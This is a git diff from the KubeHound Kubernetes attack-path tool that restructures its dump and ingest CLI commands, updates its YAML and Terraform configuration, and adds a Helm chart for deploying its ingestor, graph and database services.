{ // using compress feature - viper.Set(config.CollectorFileArchiveFormat, true) + viper.Set(config.CollectorFileArchiveNoCompress, false) // Create a temporary directory tmpDir, err := os.MkdirTemp("", "kubehound") if err != nil { return fmt.Errorf("create temporary directory: %w", err) } - - log.I.Debugf("Temporary directory created: %s", tmpDir) + l := log.Trace(cobraCmd.Context()) + l.Info("Temporary directory created", log.String("path", tmpDir)) viper.Set(config.CollectorFileDirectory, tmpDir) // Passing the Kubehound config from viper @@ -56,19 +61,22 @@ var ( return fmt.Errorf("dump core: %w", err) } // Running the ingestion on KHaaS - if cobraCmd.Flags().Lookup("khaas-server").Value.String() != "" { - return core.CoreClientGRPCIngest(khCfg.Ingestor, khCfg.Dynamic.ClusterName, khCfg.Dynamic.RunID.String()) + if khCfg.Ingestor.API.Endpoint != "" { + return core.CoreClientGRPCIngest(cobraCmd.Context(), khCfg.Ingestor, khCfg.Dynamic.ClusterName, khCfg.Dynamic.RunID.String()) } return err }, } - localCmd = &cobra.Command{ - Use: "local", + dumpLocalCmd = &cobra.Command{ + Use: "local [directory to dump the data]", Short: "Dump locally the k8s resources of a targeted cluster", + Args: cobra.ExactArgs(1), Long: `Collect all Kubernetes resources needed to build the attack path in an offline format locally (compressed or flat)`, PreRunE: func(cobraCmd *cobra.Command, args []string) error { - return cmd.InitializeKubehoundConfig(cobraCmd.Context(), "", true, true) + viper.Set(config.CollectorFileDirectory, args[0]) + + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, true) }, RunE: func(cobraCmd *cobra.Command, args []string) error { // Passing the Kubehound config from viper @@ -76,7 +84,21 @@ var ( if err != nil { return fmt.Errorf("get config: %w", err) } - _, err = core.DumpCore(cobraCmd.Context(), khCfg, false) + resultPath, err := core.DumpCore(cobraCmd.Context(), khCfg, false) + if err != nil { + return fmt.Errorf("dump core: %w", err) + } + + if startBackend { + err = runBackendCompose(cobraCmd.Context()) + if err != nil { + return err + } + } + + if runLocalIngest { + err = core.CoreLocalIngest(cobraCmd.Context(), khCfg, resultPath) + } return err }, @@ -85,11 +107,14 @@ var ( func init() { cmd.InitDumpCmd(dumpCmd) - cmd.InitLocalCmd(localCmd) - cmd.InitCloudCmd(cloudCmd) - cmd.InitGrpcClientCmd(cloudCmd, false) + cmd.InitLocalDumpCmd(dumpLocalCmd) + cmd.InitRemoteDumpCmd(dumpRemoteCmd) + cmd.InitRemoteIngestCmd(dumpRemoteCmd, false) + + dumpLocalCmd.Flags().BoolVar(&runLocalIngest, "ingest", false, "Run the ingestion after the dump") + dumpLocalCmd.Flags().BoolVar(&startBackend, "backend", false, "Start the backend after the dump") - dumpCmd.AddCommand(cloudCmd) - dumpCmd.AddCommand(localCmd) + dumpCmd.AddCommand(dumpRemoteCmd) + dumpCmd.AddCommand(dumpLocalCmd) rootCmd.AddCommand(dumpCmd) } diff --git a/cmd/kubehound/grpc_client.go b/cmd/kubehound/grpc_client.go deleted file mode 100644 index 6c1dbfdce..000000000 --- a/cmd/kubehound/grpc_client.go +++ /dev/null @@ -1,40 +0,0 @@ -package main - -import ( - "fmt" - - "github.com/DataDog/KubeHound/pkg/cmd" - "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/kubehound/core" - "github.com/spf13/cobra" - "github.com/spf13/viper" -) - -var ( - grpcClientIngestCmd = &cobra.Command{ - Use: "ingest", - Short: "Start an ingestion on KubeHoud as a Service server", - Long: `Run an ingestion on KHaaS from a bucket to build the attack path`, - PreRunE: func(cobraCmd *cobra.Command, args []string) error { - viper.BindPFlag(config.IngestorAPIEndpoint, cobraCmd.Flags().Lookup("khaas-server")) //nolint: errcheck - viper.BindPFlag(config.IngestorAPIInsecure, cobraCmd.Flags().Lookup("insecure")) //nolint: errcheck - - return cmd.InitializeKubehoundConfig(cobraCmd.Context(), "", false, true) - }, - RunE: func(cobraCmd *cobra.Command, args []string) error { - // Passing the Kubehound config from viper - khCfg, err := cmd.GetConfig() - if err != nil { - return fmt.Errorf("get config: %w", err) - } - - return core.CoreClientGRPCIngest(khCfg.Ingestor, khCfg.Ingestor.ClusterName, khCfg.Ingestor.RunID) - }, - } -) - -func init() { - cmd.InitGrpcClientCmd(grpcClientIngestCmd, true) - - rootCmd.AddCommand(grpcClientIngestCmd) -} diff --git a/cmd/kubehound/ingest.go b/cmd/kubehound/ingest.go new file mode 100644 index 000000000..8f436086b --- /dev/null +++ b/cmd/kubehound/ingest.go @@ -0,0 +1,94 @@ +package main + +import ( + "fmt" + + "github.com/DataDog/KubeHound/pkg/cmd" + "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/kubehound/core" + "github.com/spf13/cobra" + "github.com/spf13/viper" +) + +var ( + runID string +) + +var ( + ingestCmd = &cobra.Command{ + Use: "ingest", + Short: "Start an ingestion locally or remotely", + Long: `Run an ingestion locally (local) or on KHaaS from a bucket to build the attack path (remote)`, + } + + localIngestCmd = &cobra.Command{ + Use: "local [directory or tar.gz path]", + Short: "Ingest data locally from a KubeHound dump", + Long: `Run an ingestion locally using a previous dump (directory or tar.gz)`, + Args: cobra.ExactArgs(1), + PreRunE: func(cobraCmd *cobra.Command, args []string) error { + cmd.BindFlagCluster(cobraCmd) + + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, true) + }, + RunE: func(cobraCmd *cobra.Command, args []string) error { + // Passing the Kubehound config from viper + khCfg, err := cmd.GetConfig() + if err != nil { + return fmt.Errorf("get config: %w", err) + } + + return core.CoreLocalIngest(cobraCmd.Context(), khCfg, args[0]) + }, + } + + remoteIngestCmd = &cobra.Command{ + Use: "remote", + Short: "Ingest data remotely on a KHaaS instance", + Long: `Run an ingestion on KHaaS from a bucket to build the attack path, by default it will rehydrate the latest snapshot previously dumped on a KHaaS instance from all clusters`, + PreRunE: func(cobraCmd *cobra.Command, args []string) error { + cmd.BindFlagCluster(cobraCmd) + viper.BindPFlag(config.IngestorAPIEndpoint, cobraCmd.Flags().Lookup("khaas-server")) //nolint: errcheck + viper.BindPFlag(config.IngestorAPIInsecure, cobraCmd.Flags().Lookup("insecure")) //nolint: errcheck + + if !isIngestRemoteDefault() { + cobraCmd.MarkFlagRequired("run_id") //nolint: errcheck + cobraCmd.MarkFlagRequired("cluster") //nolint: errcheck + } + + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, false, true) + }, + RunE: func(cobraCmd *cobra.Command, args []string) error { + // Passing the Kubehound config from viper + khCfg, err := cmd.GetConfig() + if err != nil { + return fmt.Errorf("get config: %w", err) + } + + if isIngestRemoteDefault() { + return core.CoreClientGRPCRehydrateLatest(cobraCmd.Context(), khCfg.Ingestor) + } + + return core.CoreClientGRPCIngest(cobraCmd.Context(), khCfg.Ingestor, khCfg.Dynamic.ClusterName, runID) + }, + } +) + +// If no arg is provided, run the reHydration of the latest snapshots (stored in KHaaS / S3 Bucket) +func isIngestRemoteDefault() bool { + clusterName := viper.GetString(config.DynamicClusterName) + + return runID == "" && clusterName == "" +} + +func init() { + + ingestCmd.AddCommand(localIngestCmd) + cmd.InitLocalIngestCmd(localIngestCmd) + + ingestCmd.AddCommand(remoteIngestCmd) + cmd.InitRemoteIngestCmd(remoteIngestCmd, true) + remoteIngestCmd.Flags().StringVar(&runID, "run_id", "", "KubeHound run id to ingest (e.g.: 01htdgjj34mcmrrksw4bjy2e94)") + + rootCmd.AddCommand(ingestCmd) +} diff --git a/cmd/kubehound/main.go b/cmd/kubehound/main.go index 3640aa366..913fe8f36 100644 --- a/cmd/kubehound/main.go +++ b/cmd/kubehound/main.go @@ -1,13 +1,18 @@ package main import ( + "errors" + + "github.com/DataDog/KubeHound/pkg/cmd" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/tag" ) func main() { tag.SetupBaseTags() - if err := rootCmd.Execute(); err != nil { - log.I.Fatal(err.Error()) + err := rootCmd.Execute() + err = errors.Join(err, cmd.CloseKubehoundConfig(rootCmd.Context())) + if err != nil { + log.Logger(rootCmd.Context()).Fatal(err.Error()) } } diff --git a/cmd/kubehound/root.go b/cmd/kubehound/root.go index 3f922ebb3..f1d2ee958 100644 --- a/cmd/kubehound/root.go +++ b/cmd/kubehound/root.go @@ -3,7 +3,6 @@ package main import ( "fmt" - "github.com/DataDog/KubeHound/pkg/backend" "github.com/DataDog/KubeHound/pkg/cmd" "github.com/DataDog/KubeHound/pkg/kubehound/core" "github.com/DataDog/KubeHound/pkg/telemetry/log" @@ -24,25 +23,13 @@ var ( return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, false) }, RunE: func(cobraCmd *cobra.Command, args []string) error { + l := log.Logger(cobraCmd.Context()) // auto spawning the backend stack if !skipBackend { - // Forcing the embed docker config to be loaded - err := backend.NewBackend(cobraCmd.Context(), []string{""}) + err := runBackend(cobraCmd.Context()) if err != nil { return err } - res, err := backend.IsStackRunning(cobraCmd.Context()) - if err != nil { - return err - } - if !res { - err = backend.Up(cobraCmd.Context()) - if err != nil { - return err - } - } else { - log.I.Info("Backend stack is already running") - } } // Passing the Kubehound config from viper @@ -51,10 +38,23 @@ var ( return fmt.Errorf("get config: %w", err) } - return core.CoreLive(cobraCmd.Context(), khCfg) - }, - PersistentPostRunE: func(cobraCmd *cobra.Command, args []string) error { - return cmd.CloseKubehoundConfig() + err = core.CoreInitLive(cobraCmd.Context(), khCfg) + if err != nil { + return err + } + + err = core.CoreLive(cobraCmd.Context(), khCfg) + if err != nil { + return err + } + + l.Warn("KubeHound as finished ingesting and building the graph successfully.") + l.Warn("Please visit the UI to view the graph by clicking the link below:") + l.Warn("http://localhost:8888") + // Yes, we should change that :D + l.Warn("Default password being 'admin'") + + return nil }, SilenceUsage: true, SilenceErrors: true, @@ -62,9 +62,9 @@ var ( ) func init() { - rootCmd.Flags().StringVarP(&cfgFile, "config", "c", cfgFile, "application config file") + rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", cfgFile, "application config file") - rootCmd.Flags().BoolVar(&skipBackend, "skip-backend", skipBackend, "skip the auto deployment of the backend stack (janusgraph, mongodb, and UI)") + rootCmd.PersistentFlags().BoolVar(&skipBackend, "skip-backend", skipBackend, "skip the auto deployment of the backend stack (janusgraph, mongodb, and UI)") cmd.InitRootCmd(rootCmd) } diff --git a/cmd/kubehound/server.go b/cmd/kubehound/server.go index 8c2884b5d..77fd87860 100644 --- a/cmd/kubehound/server.go +++ b/cmd/kubehound/server.go @@ -15,7 +15,7 @@ var ( Long: `instance of Kubehound that pulls data from cloud storage`, SilenceUsage: true, PersistentPreRunE: func(cobraCmd *cobra.Command, args []string) error { - return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, false) + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, false, false) }, RunE: func(cobraCmd *cobra.Command, args []string) error { // Passing the Kubehound config from viper @@ -26,9 +26,6 @@ var ( return core.CoreGrpcApi(cobraCmd.Context(), khCfg) }, - PersistentPostRunE: func(cobraCmd *cobra.Command, args []string) error { - return cmd.CloseKubehoundConfig() - }, } ) diff --git a/cmd/kubehound/util_default.go b/cmd/kubehound/util_default.go new file mode 100644 index 000000000..e2dabd4c5 --- /dev/null +++ b/cmd/kubehound/util_default.go @@ -0,0 +1,23 @@ +//go:build !no_backend + +package main + +import ( + "context" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) + +func runBackend(ctx context.Context) error { + l := log.Logger(ctx) + l.Warn("Backend is not supported in this build") + + return nil +} + +func runBackendCompose(ctx context.Context) error { + l := log.Logger(ctx) + l.Warn("Backend is not supported in this build") + + return nil +} diff --git a/cmd/kubehound/util_no_backend.go b/cmd/kubehound/util_no_backend.go new file mode 100644 index 000000000..382ece41f --- /dev/null +++ b/cmd/kubehound/util_no_backend.go @@ -0,0 +1,48 @@ +//go:build no_backend + +package main + +import ( + "context" + "fmt" + + "github.com/DataDog/KubeHound/pkg/backend" + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) + +func runBackend(ctx context.Context) error { + l := log.Logger(ctx) + + // Forcing the embed docker config to be loaded + err := backend.NewBackend(ctx, []string{""}, backend.DefaultUIProfile) + if err != nil { + return err + } + res, err := backend.IsStackRunning(ctx) + if err != nil { + return err + } + if !res { + err = backend.Up(ctx) + if err != nil { + return err + } + } else { + l.Info("Backend stack is already running") + } + + return nil +} + +func runBackendCompose(ctx context.Context) error { + err := backend.NewBackend(ctx, composePath, backend.DefaultUIProfile) + if err != nil { + return fmt.Errorf("new backend: %w", err) + } + err = backend.Up(ctx) + if err != nil { + return fmt.Errorf("docker up: %w", err) + } + + return nil +} diff --git a/cmd/kubehound/version.go b/cmd/kubehound/version.go index f06c0e0e7..f661608ea 100644 --- a/cmd/kubehound/version.go +++ b/cmd/kubehound/version.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "os" "github.com/DataDog/KubeHound/pkg/config" "github.com/spf13/cobra" @@ -15,6 +16,9 @@ var ( Run: func(cobraCmd *cobra.Command, args []string) { fmt.Printf("kubehound version: %s (%s/%s)", config.BuildVersion, config.BuildArch, config.BuildOs) //nolint:forbidigo }, + PersistentPostRun: func(cobraCmd *cobra.Command, args []string) { + os.Exit(0) + }, } ) diff --git a/configs/etc/kubehound-ingestor.yaml b/configs/etc/kubehound-ingestor.yaml deleted file mode 100644 index 057ac53d5..000000000 --- a/configs/etc/kubehound-ingestor.yaml +++ /dev/null @@ -1,60 +0,0 @@ -# -# Default KubeHound configuration -# NOTE: this is optimized for smaller clusters of 1-2k pods -# - -# General storage configuration -storage: - # Number of connection retries before declaring an error - retry: 5 - - # Delay between connection retries - retry_delay: 10s - -# Store database configuration -mongodb: - # Connection URL to the mongo DB instance - url: "mongodb://localhost:27017" - - # Timeout on requests to the mongo DB instance - connection_timeout: 30s - -# Graph database configuration -janusgraph: - # Connection URL to the JanusGraph DB instance - url: "ws://localhost:8182/gremlin" - - # Timeout on requests to the JanusGraph DB instance - connection_timeout: 30s - -# Graph builder configuration -builder: - # Vertex builder configuration - vertex: - # Batch size for vertex inserts - batch_size: 500 - - # Edge builder configuration - edge: - worker_pool_size: 2 - - # Batch size for edge inserts - batch_size: 500 - - # Cluster impact batch size for edge inserts - batch_size_cluster_impact: 10 - - # Enable for large clusters to prevent number of edges growing exponentially - large_cluster_optimizations: true - -# Ingestor configuration (for KHaaS) -ingestor: - blob: - bucket: "" # (i.e.: s3://) - region: "" # (i.e.: us-west-2) - temp_dir: "/tmp/kubehound" - archive_name: "archive.tar.gz" - max_archive_size: 1073741824 # 1GB - api: # GRPC endpoint for the ingestor - endpoint: "127.0.0.1:9000" - insecure: true \ No newline at end of file diff --git a/configs/etc/kubehound-reference.yaml b/configs/etc/kubehound-reference.yaml index 0a46588cc..cd0179e81 100644 --- a/configs/etc/kubehound-reference.yaml +++ b/configs/etc/kubehound-reference.yaml @@ -9,6 +9,9 @@ collector: # Type of collector to use type: live-k8s-api-collector + # Ask for confirmation before collecting the targeted cluster + # non_interactive: false + # Live collector configuration live: # Rate limit of requests/second to the Kubernetes API @@ -16,10 +19,10 @@ collector: # and the bulk of that is spent waiting on rate limit. As such increasing this will improve performance roughly linearly. rate_limit_per_second: 60 - # # Number of entries retrieved by each call on the API (same for all Kubernetes entry types) + # Number of entries retrieved by each call on the API (same for all Kubernetes entry types) # page_size: 500 - # # Number of pages to buffer + # Number of pages to buffer # page_buffer_size: 10 # Uncomment to use the file collector @@ -29,9 +32,6 @@ collector: # file: # # Directory holding the K8s json data files # directory: /path/to/directory - # - # # Target cluster name - # cluster: # # General storage configuration @@ -39,7 +39,7 @@ collector: storage: # Whether or not to wipe all data on startup wipe: true - + # Number of connection retries before declaring an error retry: 5 @@ -62,6 +62,9 @@ janusgraph: # Timeout on requests to the JanusGraph DB instance connection_timeout: 30s + # Number of worker threads for the JanusGraph writer pool + writer_worker_count: 10 + # # Datadog telemetry configuration # @@ -71,8 +74,8 @@ telemetry: # Default tags to add to all telemetry (free form key-value map) # tags: - # team: ase - + # team: ase + # Statsd configuration for metics support statsd: # URL to send statsd data to the Datadog agent @@ -87,7 +90,7 @@ telemetry: # Graph builder configuration # # NOTE: increasing batch sizes can have some performance improvements by reducing network latency in transferring data -# between KubeGraph and the application. However, increasing it past a certain level can overload the backend leading +# between KubeGraph and the application. However, increasing it past a certain level can overload the backend leading # to instability and eventually exceed the size limits of the websocket buffer used to transfer the data. Changing this # is not recommended. # @@ -96,7 +99,7 @@ builder: # vertex: # # Batch size for vertex inserts # batch_size: 500 - # + # # # Small batch size for vertex inserts # batch_size_small: 100 @@ -114,22 +117,32 @@ builder: # worker_pool_capacity: 100 # # Batch size for edge inserts - # batch_size: 500 + # batch_size: 250 # # Small batch size for edge inserts - # batch_size_small: 75 + # batch_size_small: 50 # # Cluster impact batch size for edge inserts # batch_size_cluster_impact: 1 - # Ingestor configuration (for KHaaS) # ingestor: # blob: -# bucket: "" # (i.e.: s3://your-bucket) -# region: "" # (i.e.: us-east-1) +# # (i.e.: s3://) +# bucket_url: "" +# # (i.e.: us-east-1) +# region: "" # temp_dir: "/tmp/kubehound" # archive_name: "archive.tar.gz" -# max_archive_size: 1073741824 # 1GB -# api: # GRPC endpoint for the ingestor +# max_archive_size: 2147483648 # 2GB +# # GRPC endpoint for the ingestor +# api: # endpoint: "127.0.0.1:9000" -# insecure: true \ No newline at end of file +# insecure: true + +# +# Dynamic info (optionnal - auto injected by KubeHound) +# +# dynamic: +# +# # Target cluster name +# cluster: diff --git a/configs/etc/kubehound.yaml b/configs/etc/kubehound.yaml index fc7a25677..0a8c6ee57 100644 --- a/configs/etc/kubehound.yaml +++ b/configs/etc/kubehound.yaml @@ -37,22 +37,40 @@ janusgraph: # Timeout on requests to the JanusGraph DB instance connection_timeout: 30s + # Number of worker threads for the JanusGraph writer pool + writer_worker_count: 10 + # Graph builder configuration builder: # Vertex builder configuration vertex: # Batch size for vertex inserts - batch_size: 500 + batch_size: 250 # Edge builder configuration edge: worker_pool_size: 2 # Batch size for edge inserts - batch_size: 500 - + batch_size: 250 + # Cluster impact batch size for edge inserts batch_size_cluster_impact: 10 - + # Enable for large clusters to prevent number of edges growing exponentially large_cluster_optimizations: true + +# Ingestor configuration (for KHaaS) +ingestor: + blob: + # (i.e.: s3://) + bucket_url: "" + # (i.e.: us-east-1) + region: "" + temp_dir: "/tmp/kubehound" + archive_name: "archive.tar.gz" + max_archive_size: 2147483648 # 2GB + # GRPC endpoint for the ingestor + api: + endpoint: "127.0.0.1:9000" + insecure: true diff --git a/datadog/span-metrics.tf b/datadog/span-metrics.tf index e5aea673c..68e8d6125 100644 --- a/datadog/span-metrics.tf +++ b/datadog/span-metrics.tf @@ -31,7 +31,7 @@ resource "datadog_spans_metric" "kubehound_ingest_duration" { } filter { - query = "service:kubehound operation_name:kubehound.ingestData" + query = "service:kubehound-ingestor operation_name:kubehound.ingestData" } dynamic "group_by" { @@ -63,7 +63,7 @@ resource "datadog_spans_metric" "kubehound_graph_duration" { } filter { - query = "service:kubehound operation_name:kubehound.buildGraph" + query = "service:kubehound-ingestor operation_name:kubehound.buildGraph" } dynamic "group_by" { @@ -103,7 +103,7 @@ resource "datadog_spans_metric" "kubehound_collector_stream_duration" { } filter { - query = "service:kubehound operation_name:kubehound.collector.stream" + query = "service:kubehound-collector operation_name:kubehound.collector.stream" } dynamic "group_by" { @@ -144,7 +144,7 @@ resource "datadog_spans_metric" "kubehound_graph_builder_edge_duration" { } filter { - query = "service:kubehound operation_name:kubehound.graph.builder.edge" + query = "service:kubehound-ingestor operation_name:kubehound.graph.builder.edge" } dynamic "group_by" { @@ -154,4 +154,4 @@ resource "datadog_spans_metric" "kubehound_graph_builder_edge_duration" { path = group_by.value } } -} \ No newline at end of file +} diff --git a/deployments/k8s/khaas/Chart.yaml b/deployments/k8s/khaas/Chart.yaml new file mode 100644 index 000000000..7b4e34d27 --- /dev/null +++ b/deployments/k8s/khaas/Chart.yaml @@ -0,0 +1,4 @@ +apiVersion: v1 +description: KubeHound as a Service Deployment +name: khaas +version: 0.0.1 diff --git a/deployments/k8s/khaas/README.md b/deployments/k8s/khaas/README.md new file mode 100644 index 000000000..540ac5ac3 --- /dev/null +++ b/deployments/k8s/khaas/README.md @@ -0,0 +1,9 @@ +# KubeHound as a Service - ingestor - k8s deployment + +To deploy KHaaS ingestor services in a Kubernetes environment please refer to [k8s-deployment](https://kubehound.io/user-guide/khaas-101/#k8s-deployment) + +All the Helm charts and templates are provided as example. You should tweak them to your own environment (resources limitation, endpoint configuration, ...). This will depend of the number/size of the clusters you want to ingest. + +* [Jupyter resources estimation](https://tljh.jupyter.org/en/latest/howto/admin/resource-estimation.html) +* [MongoDB hardware considerations](https://www.mongodb.com/docs/manual/administration/production-notes/#hardware-considerations) +* [Janusgraph InMemory Storage Backend](https://docs.janusgraph.org/storage-backend/inmemorybackend/) \ No newline at end of file diff --git a/deployments/k8s/khaas/conf/graph/readiness.sh b/deployments/k8s/khaas/conf/graph/readiness.sh new file mode 100644 index 000000000..acda78c30 --- /dev/null +++ b/deployments/k8s/khaas/conf/graph/readiness.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -u + +API_ENDPOINT="127.0.0.1:{{ $.Values.services.graph.port }}?gremlin=" + +check_query() { + [[ $# -gt 0 ]] || return 1 + status_code=$(curl -s -o /dev/null -w "%{http_code}" -XGET "$API_ENDPOINT$1") + [[ $status_code -ge 200 && $status_code -lt 400 ]] || return 1 +} + +# Request from https://github.com/JanusGraph/janusgraph/issues/2807 +check_query "graph.open" || exit 1 diff --git a/deployments/k8s/khaas/conf/graph/remote.yaml b/deployments/k8s/khaas/conf/graph/remote.yaml new file mode 100644 index 000000000..c1b8f46c4 --- /dev/null +++ b/deployments/k8s/khaas/conf/graph/remote.yaml @@ -0,0 +1,23 @@ +# Copyright 2019 JanusGraph Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# this file can be used when using gremlin console via: +# :remote connect tinkerpop.server /etc/janusgraph/remote.yaml session +hosts: [{{ $.Values.services.graph.host }}] +port: 8182 +serializer: { className: org.apache.tinkerpop.gremlin.driver.ser.GraphBinaryMessageSerializerV1, config: { serializeResultToString: true }} +connectionPool: { + # set to 8MB + maxContentLength: 8388608 +} \ No newline at end of file diff --git a/configs/etc/kubehound-dd.yaml b/deployments/k8s/khaas/conf/ingestor/kubehound.yaml similarity index 70% rename from configs/etc/kubehound-dd.yaml rename to deployments/k8s/khaas/conf/ingestor/kubehound.yaml index d37fccfbe..339366442 100644 --- a/configs/etc/kubehound-dd.yaml +++ b/deployments/k8s/khaas/conf/ingestor/kubehound.yaml @@ -18,6 +18,9 @@ collector: # General storage configuration storage: + # Whether or not to wipe all data on startup + wipe: false + # Number of connection retries before declaring an error retry: 5 @@ -27,7 +30,7 @@ storage: # Store database configuration mongodb: # Connection URL to the mongo DB instance - url: "mongodb://localhost:27017" + url: "mongodb://{{ $.Values.services.db.host }}:{{ $.Values.services.db.port }}" # Timeout on requests to the mongo DB instance connection_timeout: 30s @@ -35,7 +38,7 @@ mongodb: # Graph database configuration janusgraph: # Connection URL to the JanusGraph DB instance - url: "ws://localhost:8182/gremlin" + url: "ws://{{ $.Values.services.graph.host }}:{{ $.Values.services.graph.port }}/gremlin" # Timeout on requests to the JanusGraph DB instance connection_timeout: 30s @@ -43,21 +46,7 @@ janusgraph: # Datadog telemetry configuration telemetry: # Whether to enable Datadog telemetry (default false) - enabled: true - - # Default tags to add to all telemetry (free form key-value map) - tags: - team: ase - - # Statsd configuration for metics support - statsd: - # URL to send statsd data to the Datadog agent - url: "127.0.0.1:8225" - - # Tracer configuration for APM support - tracer: - # URL to send tracer data to the Datadog agent - url: "127.0.0.1:8226" + enabled: false # Graph builder configuration builder: @@ -72,9 +61,20 @@ builder: # Batch size for edge inserts batch_size: 1000 - + # Cluster impact batch size for edge inserts batch_size_cluster_impact: 10 # Enable for large clusters to prevent number of edges growing exponentially large_cluster_optimizations: true + +ingestor: + blob: + bucket_url: "{{ $.Values.services.ingestor.bucket_url }}" + region: "{{ $.Values.services.ingestor.region }}" + temp_dir: "/tmp/kubehound" + archive_name: "archive.tar.gz" + max_archive_size: 2073741824 # 2GB + api: # GRPC endpoint for the ingestor + endpoint: "0.0.0.0:{{ $.Values.services.ingestor.port }}" + insecure: true diff --git a/deployments/k8s/khaas/templates/cluster_role.yaml b/deployments/k8s/khaas/templates/cluster_role.yaml new file mode 100644 index 000000000..bdcec620d --- /dev/null +++ b/deployments/k8s/khaas/templates/cluster_role.yaml @@ -0,0 +1,29 @@ +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: kubehound-collector + namespace: default +rules: + - apiGroups: ["rbac.authorization.k8s.io"] + resources: + - roles + - rolebindings + - clusterroles + - clusterrolebindings + verbs: + - get + - list + - apiGroups: [""] + resources: + - pods + - nodes + verbs: + - get + - list + - apiGroups: ["discovery.k8s.io"] + resources: + - endpointslices + verbs: + - get + - list diff --git a/deployments/k8s/khaas/templates/cluster_role_binding.yaml b/deployments/k8s/khaas/templates/cluster_role_binding.yaml new file mode 100644 index 000000000..aeabe98cf --- /dev/null +++ b/deployments/k8s/khaas/templates/cluster_role_binding.yaml @@ -0,0 +1,13 @@ +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: kubehound-collector + namespace: default +subjects: + - kind: ServiceAccount + name: kubehound-collector + namespace: default +roleRef: + kind: ClusterRole + name: kubehound-collector + apiGroup: rbac.authorization.k8s.io diff --git a/deployments/k8s/khaas/templates/configmap.yaml b/deployments/k8s/khaas/templates/configmap.yaml new file mode 100644 index 000000000..fbdcc30ec --- /dev/null +++ b/deployments/k8s/khaas/templates/configmap.yaml @@ -0,0 +1,27 @@ +apiVersion: v1 +kind: ConfigMap +metadata: + name: {{ $.Chart.Name }}-ingestor + namespace: {{ $.Release.Namespace }} + labels: + app: {{ $.Chart.Name | quote }} + chart_name: {{ $.Chart.Name | quote }} + chart_version: {{ $.Chart.Version }} + service: {{ $.Chart.Name | quote }} + team: {{ $.Values.team }} +data: +{{ tpl (.Files.Glob "conf/ingestor/*").AsConfig . | indent 2 }} +--- +apiVersion: v1 +kind: ConfigMap +metadata: + name: {{ $.Chart.Name }}-graph + namespace: {{ $.Release.Namespace }} + labels: + app: {{ $.Chart.Name | quote }} + chart_name: {{ $.Chart.Name | quote }} + chart_version: {{ $.Chart.Version }} + service: {{ $.Chart.Name | quote }} + team: {{ $.Values.team }} +data: +{{ tpl (.Files.Glob "conf/graph/*").AsConfig . | indent 2 -}} \ No newline at end of file diff --git a/deployments/k8s/khaas/templates/deployment-db.yaml b/deployments/k8s/khaas/templates/deployment-db.yaml new file mode 100644 index 000000000..1643aa0eb --- /dev/null +++ b/deployments/k8s/khaas/templates/deployment-db.yaml @@ -0,0 +1,39 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: "{{ $.Chart.Name }}-db" + namespace: {{ $.Release.Namespace }} + labels: + app: "{{ $.Chart.Name }}-db" + service: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} + chart_name: {{ $.Chart.Name }} + team: {{ $.Values.team }} + +spec: + replicas: 1 + selector: + matchLabels: + app: "{{ $.Chart.Name }}-db" + template: + metadata: + labels: + app: "{{ $.Chart.Name }}-db" + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + spec: + containers: + - name: {{ $.Chart.Name }}-db + image: "{{ $.Values.services.db.image }}:{{ $.Values.services.db.version }}" + imagePullPolicy: Always + resources: + requests: + cpu: {{ $.Values.services.db.resources.requests.cpu }} + memory: {{ $.Values.services.db.resources.requests.memory }} + limits: + cpu: {{ $.Values.services.db.resources.limits.cpu }} + memory: {{ $.Values.services.db.resources.limits.memory }} + ports: + - name: db + containerPort: {{ $.Values.services.db.port }} diff --git a/deployments/k8s/khaas/templates/deployment-graph.yaml b/deployments/k8s/khaas/templates/deployment-graph.yaml new file mode 100644 index 000000000..fb2123a79 --- /dev/null +++ b/deployments/k8s/khaas/templates/deployment-graph.yaml @@ -0,0 +1,58 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: "{{ $.Chart.Name }}-graph" + namespace: {{ $.Release.Namespace }} + labels: + app: "{{ $.Chart.Name }}-graph" + service: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} + chart_name: {{ $.Chart.Name }} + team: {{ $.Values.team }} + +spec: + replicas: 1 + selector: + matchLabels: + app: "{{ $.Chart.Name }}-graph" + template: + metadata: + labels: + app: "{{ $.Chart.Name }}-graph" + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + spec: + containers: + - name: {{ $.Chart.Name }}-graph + image: "{{ $.Values.services.graph.image }}:{{ $.Values.services.graph.version}}" + imagePullPolicy: Always + resources: + requests: + cpu: {{ $.Values.services.graph.resources.requests.cpu }} + memory: {{ $.Values.services.graph.resources.requests.memory }} + limits: + cpu: {{ $.Values.services.graph.resources.limits.cpu }} + memory: {{ $.Values.services.graph.resources.limits.memory }} + livenessProbe: + tcpSocket: + port: graph + initialDelaySeconds: 60 + periodSeconds: 5 + timeoutSeconds: 5 + readinessProbe: + exec: + command: ["/bin/bash", "/etc/janusgraph/readiness.sh"] + initialDelaySeconds: 60 + periodSeconds: 5 + timeoutSeconds: 5 + ports: 